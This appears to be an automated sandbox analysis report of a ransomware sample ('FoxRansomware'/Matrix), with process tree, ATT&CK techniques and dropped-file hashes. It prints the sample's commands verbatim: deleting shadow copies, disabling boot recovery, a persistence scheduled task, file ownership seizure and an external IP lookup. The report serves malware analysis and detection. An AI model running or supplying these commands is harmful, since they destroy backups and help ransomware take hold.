1912 1584 cmd.exe 39 PID 1584 wrote to memory of 1912 1584 cmd.exe 39 PID 1584 wrote to memory of 1912 1584 cmd.exe 39 PID 1584 wrote to memory of 1912 1584 cmd.exe 39 PID 1584 wrote to memory of 696 1584 cmd.exe 41 PID 1584 wrote to memory of 696 1584 cmd.exe 41 PID 1584 wrote to memory of 696 1584 cmd.exe 41 PID 1584 wrote to memory of 696 1584 cmd.exe 41 PID 1584 wrote to memory of 548 1584 cmd.exe 43 PID 1584 wrote to memory of 548 1584 cmd.exe 43 PID 1584 wrote to memory of 548 1584 cmd.exe 43 PID 1584 wrote to memory of 548 1584 cmd.exe 43 PID 700 wrote to memory of 1108 700 cmd.exe 42 PID 700 wrote to memory of 1108 700 cmd.exe 42 PID 700 wrote to memory of 1108 700 cmd.exe 42 PID 700 wrote to memory of 1108 700 cmd.exe 42 PID 1648 wrote to memory of 1704 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 44 PID 1648 wrote to memory of 1704 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 44 PID 1648 wrote to memory of 1704 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 44 PID 1648 wrote to memory of 1704 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 44 PID 1108 wrote to memory of 1768 1108 wscript.exe 46 PID 1108 wrote to memory of 1768 1108 wscript.exe 46 PID 1108 wrote to memory of 1768 1108 wscript.exe 46 PID 1108 wrote to memory of 1768 1108 wscript.exe 46 PID 1704 wrote to memory of 2588 1704 cmd.exe 49 PID 1704 wrote to memory of 2588 1704 cmd.exe 49 PID 1704 wrote to memory of 2588 1704 cmd.exe 49 PID 1704 wrote to memory of 2588 1704 cmd.exe 49 PID 1768 wrote to memory of 2612 1768 cmd.exe 48 PID 1768 wrote to memory of 2612 1768 cmd.exe 48 PID 1768 wrote to memory of 2612 1768 cmd.exe 48 PID 1768 wrote to memory of 2612 1768 cmd.exe 48 PID 1704 wrote to memory of 2088 1704 cmd.exe 50 PID 1704 wrote to memory of 2088 1704 cmd.exe 50 PID 1704 wrote to memory of 2088 1704 cmd.exe 50 PID 1704 wrote to memory of 2088 1704 cmd.exe 50 PID 1704 wrote to memory of 2552 1704 cmd.exe 51 PID 1704 wrote to memory of 2552 1704 cmd.exe 51 PID 1704 wrote to memory of 2552 1704 cmd.exe 51 PID 1704 wrote to memory of 2552 1704 cmd.exe 51 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2588 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe"1⤵
- Matrix Ransomware
- Loads dropped DLL
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1648 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWKkLa9n.exe"2⤵PID:2404
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWKkLa9n.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWKkLa9n.exe" -n2⤵
- Executes dropped EXE
PID:2700
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\XrqahlQb.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2920 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3024
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\OsRNBNcX.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1584 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\OsRNBNcX.bmp" /f3⤵
- Sets desktop wallpaper using registry
PID:1912
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵PID:696
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵PID:548
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\EQHMlr5B.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:700 -
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\EQHMlr5B.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:1108 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\AAgZ7an1.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\AAgZ7an1.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
PID:2612
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵PID:2396
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C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵PID:2680
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\F4W1lmNX.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf""2⤵
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Windows\SysWOW64\attrib.exeattrib -R -A -S "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf"3⤵
- Views/modifies file attributes
PID:2588
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C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf" /E /G Admin:F /C3⤵PID:2088
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C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf"3⤵
- Modifies file permissions
PID:2552
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gbw8Tp4V.exe -accepteula "SignHere.pdf" -nobanner3⤵
- Loads dropped DLL
PID:1020 -
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\gbw8Tp4V.exegbw8Tp4V.exe -accepteula "SignHere.pdf" -nobanner4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1192 -
C:\Users\Admin\AppData\Local\Temp\gbw8Tp4V64.exegbw8Tp4V.exe -accepteula "SignHere.pdf" -nobanner5⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
PID:1636 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1636 -s 2286⤵
- Loads dropped DLL
PID:2876
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C:\Windows\system32\taskeng.exetaskeng.exe {4F3647FA-9122-40C4-94CD-2BF27217A82E} S-1-5-21-452311807-3713411997-1028535425-1000:OZEMQECW\Admin:Interactive:[1]1⤵PID:2844
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C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\AAgZ7an1.bat"2⤵PID:1804
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C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
PID:2740
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C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3812
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3292
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
PID:3468
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F3⤵PID:2368
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2760
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Defense Evasion
File and Directory Permissions Modification
1Hide Artifacts
1Hidden Files and Directories
1Indicator Removal
2File Deletion
2Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\$Recycle.Bin\S-1-5-21-452311807-3713411997-1028535425-1000\desktop.ini
- Size 1KB
- SHA256 af913fb1d2b33d4f301a5cf285374ae71d4c1ae4cb37f26ee9cca53f1938e820
- MD5 092a0c3ba49e0edf0ee57428ea4c9d4e
- SHA1 36773f1d399341ef5316f51a534e29337581d941
- SHA512 701239651b4f9b70700544173d4fcdcf2e35ca75b709c77e84c306e96687df47bb2f95810489d20ceb234f0b9b85799623e80f58fd6fbb43a1e3481dd48b0e73
- MD5 SHA1 SHA512
- Path C:\Program Files (x86)\Microsoft Office\Office14\Document Parts\1033\14\#FOX_README#.rtf
- Size 8KB
- SHA256 217b3a7d6f00a0ab7e0eaf0e650e362d185e91a17589126d834c5993fafd5894
- MD5 780d8192b96ace15d3efce43ab816529
- SHA1 f5a2b684129fd1c6fd0c935a5a7277d21ae13633
- SHA512 08d4601ea9f8e83f03f3fc3cc4ebffefff1b8e6b790684878e9ad9351ce23e86307b5388a8d5abc2c737f1c28168d51a56ec746627c24ee65a6ffcd0d21f517e
- SSDEEP 192:TUVDkh6ojUjcNYPtPnv0SkDSliQZYhXhoy:OO6SWlLcay
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\F4W1lmNX.bat
- Size 246B
- SHA256 8325ed341a5baf675fcea6de9d2ac76e855d045e13fbc17deb4ebc8973b4a2c0
- MD5 f590beb1d601fcc601324badef6ea53a
- SHA1 7c33634f6ba9c10ec688d237cd2a965e3963ce4d
- SHA512 74e6e6f1c1975a9a642d02adc6f439901691e34bfafe350150ba1bed2940ac938f66462c7f2d1e3d7ae31aa978cdda5ab2167a3ecdf3227d1a410c3a795c4c8d
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\XrqahlQb.txt
- Size 14B
- SHA256 82ad297f8577dd8f868d0068e253c3d6b61a1e332d7038ed18d23da65b03ad6c
- MD5 c74dacdd9331a6698efffe81ff66ac08
- SHA1 79e8ce4bb5cc2436e95fad4a74a31aee7aa63043
- SHA512 24620715fb4e07f73db38962b2f95b77396d09a65f153c138f4d873e7f83f9cc72a16423ce2af745f8a04d1e657dfa7d9136ec3fd9ff5794b385ec33edae89da
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\bad_1E69277169CC205F.txt
- Size 8KB
- SHA256 16de82d85493b825bb17a4f5429f22b2ad4a5acb67cd4d1b5ee36108e4f243dc
- MD5 4c85e6ca19d25990f2744ae97c81a2a2
- SHA1 d3258985d11accfb8b0978c4fbe4e2104e69f67a
- SHA512 67f483e0dbddda903ca7f20f16fc5d12939ad27ea991fe68438dedd04cb8f361f4e1fc5073e7549469cd67b5a6cb991d5744642072b28c3e0930fe52f99ad46e
- SSDEEP 96:ydRkRdhOnysxpJ91utPCh/Rtx+5k/VNiwSe8rY08Txh0+ji/BIs8nIGvi3tuCXwb:yKqZhR9xh0riCgh30Pxx8R3r40j
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_1E69277169CC205F.txt
- Size 899B
- SHA256 9782996fdb8f76c1ddcfd48720ececdc5ae242fa04f245e1f6093a1eb0ba3cce
- MD5 9faa44ab1100f2956d182f2fa345555c
- SHA1 9cfe97f8180ced4e128e1b0dee9ce0297f75ee79
- SHA512 816491988177dc6a40b71d8a12e009afda30f45f10ad40ec64ffdb0eba5eab5e6e82c7ce00e2581f5593d6552bec224aa60663f51b71480f29a6704df0bf61ad
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_1E69277169CC205F.txt
- Size 32KB
- SHA256 c69fefa54463e5c56a9fdf5c07d9c4a933c0516cf76ae64b94df2b1a01b61665
- MD5 3334fe971a38a2e24d0dd07f10735d9b
- SHA1 0735dc005a3c289d10e3b12af2e42a2b6cd69423
- SHA512 3ea2274dbec4e982eac34fc02d85703a2d44f93ed09ffe4e55d2b2626985c72af4865fc9a8651a35babf55777d17d7bac851d4496b04caea92ed50da3f6e6b34
- SSDEEP 768:hVBcDvp5jNj16ycGG2FUmK0jjlhWA7d8dFT3hjCw7AVrQfpLYbvfaBn/Gcq47YUM:3rcnApoezx+yZK
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\gbw8Tp4V.exe
- Size 181KB
- SHA256 0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4
- MD5 2f5b509929165fc13ceab9393c3b911d
- SHA1 b016316132a6a277c5d8a4d7f3d6e2c769984052
- SHA512 c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8
- SSDEEP 3072:hnQr0ryqPlGGyPAPNIfG+QWx5sOjw9i8yxulNpsl/DXHcd6Gu9XQBYWW7tpT6azN:hnf71rClQWjNw9i+psR3g6G4SLILT6aR
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\AAgZ7an1.bat
- Size 265B
- SHA256 8a93f58babe9638cd80e0367051f4a58fd90264270568fdc9239c6e4f80669e7
- MD5 feb8a00c6ca3576a6baa82c437dabd4a
- SHA1 ac3f91ac4a809c7ca02a38852996c28bd67e9de6
- SHA512 07bb8c8045eea85dee3b46932a8b3c65da363f925848e1e5c5a02c0c99ada5ba849184ac2f8a80958eb09a1894e1c71f4deb80cd995414dff70f9fd588f7f969
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\EQHMlr5B.vbs
- Size 260B
- SHA256 c301cbcc22e73ade210c30c857cd100cd335c7be81bef26f4294842c8ed0f046
- MD5 53c495bdab4d6bfb1e1c0e3377634ff9
- SHA1 d22b4dd3f600b3a40848a1d8a74c069d6572bc39
- SHA512 24f78511f7572735ad6b072509e4e9bbfd59e8bf8ead7656d459a6a2a50843320ec038b22a0fab419bdfab1304d63b4f00ee078720811c32108b90ad8566a4c1
- MD5 SHA1 SHA512
- Path \Users\Admin\AppData\Local\Temp\FoxRansomware\NWKkLa9n.exe
- Size 1.2MB
- SHA256 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53
- MD5 1fa1b6d4b3ed867c1d4baffc77417611
- SHA1 afb5e385f9cc8910d7a970b6c32b8d79295579da
- SHA512 0600b92914a7489a6428b8e4217e5f24e1d149fc5807d86cc4de91b43be2470a1ddf77093c8732d4371a87fd163cc556e09d11a2c6655382a35a5f5741ae05a5
- SSDEEP 24576:K/SA+2lraRrjSJR5ezmT1dM9bBkNIDreFqO:2Xl9Ife
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\gbw8Tp4V64.exe
- Size 221KB
- SHA256 7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec
- MD5 3026bc2448763d5a9862d864b97288ff
- SHA1 7d93a18713ece2e7b93e453739ffd7ad0c646e9e
- SHA512 d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6
- SSDEEP 6144:8MmTGW8nEorxuTspf4xCzkNd96JHk1KSx:ZqGr11ZaNKSx
- MD5 SHA1 SHA512 SSDEEP